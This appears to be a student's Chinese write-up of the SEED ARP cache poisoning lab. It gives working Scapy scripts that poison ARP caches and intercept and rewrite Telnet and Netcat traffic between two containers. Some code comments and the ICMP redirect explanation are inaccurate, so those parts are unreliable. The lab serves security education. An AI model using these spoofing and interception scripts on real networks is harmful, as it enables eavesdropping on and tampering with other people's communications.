ARP 缓存中毒攻击实验
ARP 缓存中毒攻击实验
概要
地址解析协议(ARP)是一种用于在给定IP地址的情况下查询链路层地址(例如MAC地址)的通讯协议。ARP协议是一个非常简单的协议,它并未实现任何安全措施。ARP缓存中毒攻击是对ARP协议的一种常见攻击方式。使用此类攻击,攻击者可以让受害者接受伪造的IP到MAC的映射。这会导致受害者的数据包被重定向到具有伪造MAC地址的计算机,从而导致潜在的中间人攻击。
SEED实验环境
我们有一个攻击者机器(主机M),用于对其他两台机器HostA和HostB发起攻击。这三台机器必须在同一局域网内,因为ARP缓存中毒攻击仅限于局域网。
为方便读者在学习中调试, 这里介绍一些本实验的基础命令
dcbuild #docker-composebuild的别名,建立容器镜像
dcup #docker-composeup的别名,启动容器
dcdown #docker-composedown的别名 关闭容器
在启动后使用dockps 可以列出当前容器的ID,这个ID标识了不同的容器,使用ID可以进入容器操作容器。

使用ifconfig或者ip address命令可以列出该容器的接口以及IP地址、MAC地址。下图是列出了主机M的接口。

主机M有两个接口,eth0是主网络接口,IP4地址是10.9.0.105,netmask 255.255.255.0,MAC地址是02:42:0a:09:00:69,(这个很重要)。同理 进入A和B容器得到IP地址。
| Address | HWaddress | ID |
|---|---|---|
| 10.9.0.105 | 02:42:0a:09:00:69 | dfa |
| 10.9.0.6 | 02:42:0a:09:00:06 | 5f7 |
| 10.9.0.5 | 02:42:0a:09:00:05 | f74 |
嗅探数据包
tcpdump-i eth0-n
这个命令可以帮我们嗅探数据包,注意 容器内只能嗅探进出容器的,比如我们在宿主机上面ping主机M。灵活使用tcpdump可以帮助我们更好调试。

任务1:ARP缓存中毒攻击
本任务的目的是使用数据包伪造对目标发起ARP缓存中毒攻击,使得当两台受害者机器A和B尝试相互通信时,其数据包将被攻击者拦截并修改,从而使攻击者成为A和B之间的中间人。这被称为中间人(MITM)攻击。在本任务中,我们的重点在于ARP缓存中毒部分。
下面是一个简单例子构建ARP报文
#!/usr/bin/env python3
from scapy.all import * # 导入scapy全部功能模块
E = Ether() # 创建以太网层对象(默认包含源/目的MAC地址)
A = ARP() # 创建ARP层对象(默认包含源/目标IP/MAC地址)
A.op = 1 # 设置ARP操作码:1表示请求,2表示响应
pkt = E/A # 组合以太网帧和ARP数据包(/表示协议层叠加)
sendp(pkt) # 在第二层发送原始数据包(sendp用于链路层发送)
ARP工作在数据链路层,在单个局域网内工作,工作原理很简单,分为请求和相应
ARP请求:当主机A需要与主机B通信但不知道其MAC地址时,会在本局域网内广播发送ARP请求报文。报文中包含:发送方IP和MAC地址(主机A)、目标IP地址(主机B)、目标MAC地址为空(全0)。
可以理解为:主机A广播,我是**,我的IP地址是———,MAC地址是——,我想知道IP地址是———的主机的MAC地址是多少。
ARP响应: 主机B收到ARP请求后,若目标IP与自身匹配,则单播回复ARP响应报文,包含:发送方IP和MAC地址(主机B),目标IP和MAC地址(主机A),这里是单播原因在于主机A的MAC地址已经知道了,不需要在广播
任务1.A(使用ARP请求)在主机M上构造一个ARP请求包,将B的IP地址映射到M的MAC 地址,将该包发送给A并检查攻击是否成功。
ARP报文
#!/usr/bin/python3
from scapy.all import *
print("sending arp request")
target_ip = "10.9.0.5" # 目标主机A的IP
spoof_ip = "10.9.0.6" # 要伪造的IP(B的IP)
attacker_mac = "02:42:0a:09:00:69" # 攻击者M的MAC地址
# 构造ARP请求包
ether = Ether()
arp = ARP()
# 以太网层:目标是A的MAC,源是攻击者的MAC
ether.dst = "ff:ff:ff:ff:ff:ff" # 广播,确保A能收到
ether.src = attacker_mac
# ARP层:发送ARP请求,声称spoof_ip的MAC是攻击者的MAC
arp.op = 1 # 1表示ARP请求
arp.psrc = spoof_ip # 伪造的IP(B的IP)
arp.hwsrc = attacker_mac # 攻击者的MAC
arp.pdst = target_ip # 目标IP(A的IP)
# 组合数据包并发送
pkt = ether / arp
sendp(pkt, inter=2, count=5) # 连续发送10次,每2秒一次
将代码保存在volumes目录下 这个是宿主机和容器的共享文件夹。
进入主机A,arp -n,查看当前的缓存,发现还没有
[09/09/25]seed@VM:~/.../Labsetup$ docksh f74
root@f74c2b533f86:/# arp -n
root@f74c2b533f86:/#
在M下运行spoof_arp_request.py文件。
结束后再次查看A的缓存,
root@f74c2b533f86:/# arp -n
Address HWtype HWaddress Flags Mask Iface
10.9.0.6 ether 02:42:0a:09:00:69 C
发现B的IP 10.9.0.6对应的MAC地址变成的M的,攻击成功。

任务1.B(使用 ARP响应)在主机M上构造一个ARP响应包,将B的IP地址映射到M的MAC 地址,并将该包发送给A并检查攻击是否成功。同时在以下两种情景下尝试攻击并汇报攻击结果
– 情景1:B的IP地址已经存在于A的缓存中。
– 情景2:B的IP地址未出现在A的缓存中。你可以使用命令"arp-d a.b.c.d"来删除IP地址a.b.c.d 对应的 ARP 缓存条目。
情景一 需要先让B地址存在A缓存中,可以先让A ping B的地址 有一个正确的IP MAC对应。

构建ARP相应报文代码如下
#!/usr/bin/env python3
from scapy.all import *
target_ip = "10.9.0.5" # 目标主机A的IP
spoof_ip = "10.9.0.6" # 要伪造的IP(B的IP)
attacker_mac = "02:42:0a:09:00:69" # 攻击者M的MAC地址
target_mac = "02:42:0a:09:00:05" # 目标主机A的MAC地址
# 构造ARP响应包
ether = Ether()
arp = ARP()
# 以太网层
ether.dst = target_mac
ether.src = attacker_mac
# ARP层:发送ARP响应,声称spoof_ip的MAC是攻击者的MAC
arp.op = 2 # 2表示ARP响应
arp.psrc = spoof_ip # 伪造的IP(B的IP)
arp.hwsrc = attacker_mac # 攻击者的MAC
arp.pdst = target_ip # 目标IP(A的IP)
arp.hwdst = target_mac # 目标MAC(A的MAC)
# 组合数据包并发送
pkt = ether / arp
sendp(pkt, inter=2, count=5) # 连续发送10次,每2秒一次
在M上运行上面代码,再次观察A的缓存,攻击成功!

情景二需要没有缓存下进行回应,删除缓存
arp -d 10.9.0.6
再次在M运行响应报文攻击,发现没有缓存,攻击失败

推测原因
已有缓存时能被修改的原因
ARP 协议设计上缺乏严格的身份验证机制,当目标主机已存在某 IP 的 ARP 缓存时:收到伪造的 ARP 响应后,大多数操作系统会无条件用新的 IP-MAC 映射覆盖原有缓存(即使没有主动发送过 ARP 请求)。
无缓存时难以新建的原因
当目标主机没有对应 IP 的 ARP 缓存时:主机通常只会接受自己主动发送的 ARP 请求所对应的响应(即 “请求 - 响应” 配对)。对于 “凭空出现的 ARP 响应”(没有对应的请求),多数操作系统会忽略该报文,不会新建缓存。这是一种基础的安全防护机制,避免无意义的缓存污染。
任务1.C(使用 ARP 免费消息)在主机M上构造一个ARP免费数据包,并将B的IP地址映射到M的MAC地址。请在与任务1.B中描述的相同两种情况下发起攻击。
ARP 免费数据包是一种特殊的ARP请求包,当一台宿主机器需要更新其他机器的ARP缓存中的过时信息时会使用它。
免费ARP数据包具有以下特点:
– 源和目标的IP地址相同,是发出该消息的主机的IP地址。
– ARP 头部和以太网头部的目标MAC地址都是广播MAC地址。
– 不期望有响应。
#!/usr/bin/env python3
from scapy.all import *
spoof_ip = "10.9.0.6" # 要伪造的IP(B的IP)
attacker_mac = "02:42:0a:09:00:69" # 攻击者M的MAC地址
# 构造ARP免费消息(特殊的ARP请求)
ether = Ether()
arp = ARP()
# 以太网层:目标是广播MAC
ether.dst = "ff:ff:ff:ff:ff:ff" # 广播
ether.src = attacker_mac
# ARP免费消息特点:源IP和目标IP相同,都是要伪造的IP
arp.op = 2 # ARP请求
arp.psrc = spoof_ip # 源IP = 伪造的IP(B的IP)
arp.pdst = spoof_ip # 目标IP = 源IP(B的IP)
arp.hwsrc = attacker_mac # 攻击者的MAC
arp.hwdst = "ff:ff:ff:ff:ff:ff" # 目标MAC设为0
# 组合数据包并发送
pkt = ether / arp
sendp(pkt, inter=2, count=10) # 连续发送10次,每2秒一次
过程和实验1.b一样,直接看结果,还是一个成功一个不成功

任务2:使用ARP缓存中毒攻击在Telnet 实施中间人攻击
主机A和B正在通过Telnet 进行通信,而主机 M 希望拦截它们之间的通信以便对A和B传送的数据进行修改。图 2描述了该设置。我们已经在容器内部创建了一个名为seed的帐户,密码是dees。你可以通过 Telnet 连接到此账户。
示意图如下

telnet:当从 A 机器通过 Telnet 登录 B 机器 后,在 A 的 Telnet 交互界面中输入内容,其显示和执行逻辑遵循 “输入在 A 端回显,执行和最终结果在 B 端生成并返回 A 端显示” 的原则,如下
在A上面telnet 10.9.0.6,连接到B。B使用tcpdump -i eth0 -n进行抓包,发现A端每敲下一个字符,B都会反应

现在的telnet连接正常。在A端ctrl+],输入quit,退出当前的telnet连接。
步骤1(发起ARP缓存中毒攻击)。 首先,主机M对A和B均执行ARP缓存中毒攻击,使得在A 的ARP缓存中,B的IP地址被映射到M的MAC地址;在B的ARP缓存中,A的IP地址也被映射到M的MAC地址。完成此步骤后,A和B之间的数据包都将发送给M。我们将使用任务1中的ARP缓存中毒攻击来实现这一目标。如果你能不断地发送伪造数据包(例如每5秒一次)就更好了。否则,伪造的映射可能会被替换。
#!/usr/bin/python3
from scapy.all import *
target_ip1 = "10.9.0.5" # 目标主机A的IP
target_ip2 = "10.9.0.6" # 目标主机B的IP
attacker_mac = "02:42:0a:09:00:69" # 攻击者M的MAC地址
# 构造针对A的ARP欺骗包(伪装成B)
ether1 = Ether(dst="02:42:0a:09:00:05", src=attacker_mac)
arp1 = ARP(op=1, psrc=target_ip2, hwsrc=attacker_mac, pdst=target_ip1)
pkt1 = ether1 / arp1
# 构造针对B的ARP欺骗包(伪装成A)
ether2 = Ether(dst="02:42:0a:09:00:06", src=attacker_mac)
arp2 = ARP(op=1, psrc=target_ip1, hwsrc=attacker_mac, pdst=target_ip2)
pkt2 = ether2 / arp2
# 持续发送数据包(inter=2表示每2秒发送一次,count默认0表示无限循环)
print("开始持续发送ARP欺骗包)")
sendp([pkt1, pkt2], inter=2, loop=1)
如上我们一直发送欺骗报文,使得AB缓存中相互的ip地址对应的MAC全为M的MAC地址。如下图,缓存已经被更改。
注意,这个程序一直在本实验需一直运行进行欺骗

步骤2(测试)。 在攻击成功后,请尝试在主机A和B之间相互ping,并汇报你的观察结果。请在报告中展示Wireshark 的结果。在执行此步骤之前,请确保主机M的IP转发(IPforwarding)已关闭。你可以通过以下命令完成此操作。
sysctl net.ipv4.ip_forward=0
发现相互无法ping通,

步骤3(开启IP 转发)。 现在我们将在主机M上开启IP转发,因此它将转发A和B之间的数据包。请运行以下命令并重复步骤2,描述你的观察结果。
sysctl net.ipv4.ip_forward=1

ping通了,而且发现了ICMP重定向。
这里触发ICMP重定向原因在于
当 A 发送流量到 M(以为是 B),M 转发给真 B 时,网络中的网关(比如10.9.0.105)会 “看到异常”:
网关的路由表中,A 和 B 是 “同一子网内的设备”,所以网关认为:A 应该直接把流量发给 B,而不是发给 “另一个设备(M)” 后再转发。因此,网关会向 A 发送 ICMP 重定向,告诉 A:“你访问 B,应该直接发,不用经过中间设备(M)转发”。
步骤4(实施中间人攻击)。 我们现在可以对A和B之间的Telnet数据进行修改。假设A是Telnet客户端,B是Telnet 服务器。在A连接到B上的Telnet服务器后,在A的Telnet窗口中键入的每个字符,都会生成一个TCP数据包并发送给B。我们希望拦截这个TCP数据包,并将每个输入的字符替换为一个固定字符(例如Z)。这样无论用户在A上键入什么内容,Telnet都会始终显示Z。
这边打开路由转发,并Atelnet到B上面,发现在A上面输入后回显,说明连接成功。

之后sysctl net.ipv4.ip_forward=0,关闭转发,发现在A输入东西之后没有反应。
在主机M上运行你写的程序,捕获从A到B发送的数据包,然后生成一个伪造数据包(只修改TCP数据部分)。对于从B到A的数据包(Telnet响应),我们不做任何更改,因此伪造数据包与原始的完全相同。
#!/usr/bin/env python3
from scapy.all import *
IP_A = "10.9.0.5"
MAC_A="02:42:0a:09:00:05"
IP_B = "10.9.0.6"
MAC_B = "02:42:0a:09:00:06"
MY_IP = "10.9.0.105"
def spoof_pkt(pkt):
# 处理从A到B的数据包
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
del(newpkt[TCP].payload)
if pkt[TCP].payload:
original_data = pkt[TCP].payload.load
data=original_data.decode()
print(data)
modified_data = re.sub(r'[a-zA-Z]', r'Z', data)
print(modified_data)
send(newpkt/modified_data, verbose=0)
print(f"替换数据: {original_data} -> {modified_data}")
else:
send(newpkt, verbose=0)
# 处理从B到A的数据包
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A :
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt, verbose=0)
# 精准过滤A↔B的Telnet原始通信包
f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff( filter=f, prn=spoof_pkt)
现在关闭转发,运行上述更改程序,我们在A上敲任何命令都是会显示Z,说明攻击成功

任务3:使用ARP缓存中毒攻击在Netcat 实施中间人攻击
本任务与任务2类似,只是主机A和B使用netcat而不是telnet进行通信。主机M希望拦截它们之间的通信并修改A和B通信的数据。你可以使用以下命令中建立A到B的netcatTCP连接
#在主机 B(服务器,IP 地址是 10.9.0.6)上运行以下命令:
nc -lp 9090
#在主机 A(客户端)上运行以下命令:
nc 10.9.0.6 9090
一旦建立连接,你可以在A中键入信息。每行信息都将被放入一个TCP数据包中发送给B,B只是显示该信息。你的任务是将信息中你的姓(拼音)替换为一串A,串的长度应与你姓的拼音长度相同,否则会扰乱TCP序列号,从而导致整个TCP连接失败。
建立后在A输入字符,B也会显示,说明成功了。

如下我们将逐步进行ARP攻击
步骤1,步骤二

输入后B出现一样的,说明连接成功。
#!/usr/bin/env python3
from scapy.all import *
# We Only use ip
IP_A = "10.9.0.5"
IP_B = "10.9.0.6"
print("********** MITM attack on Netcat **********")
def spoof_pkt(pkt):
if pkt[IP].src == IP_A and pkt[IP].dst == IP_B:
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
if pkt[TCP].payload:
data = pkt[TCP].payload.load
print("Old:"+str(data))
newdata = data.replace(b'mao', b'AAA') # replace name
print("New:"+str(newdata))
newpkt[IP].len = pkt[IP].len + len(newdata) - len(data)
send(newpkt/newdata, verbose=False)
else:
send(newpkt, verbose=False)
elif pkt[IP].src == IP_B and pkt[IP].dst == IP_A:
newpkt = IP(bytes(pkt[IP]))
del(newpkt.chksum)
del(newpkt[TCP].chksum)
send(newpkt, verbose=False)
f = 'tcp and (ether src 02:42:0a:09:00:05 or ether src 02:42:0a:09:00:06)'
pkt = sniff(filter=f, prn=spoof_pkt)
步骤三,关闭路由,发现B没有显示

开启路由和netcat_mitm.py

关闭路由,没有反应


浙公网安备 33010602011771号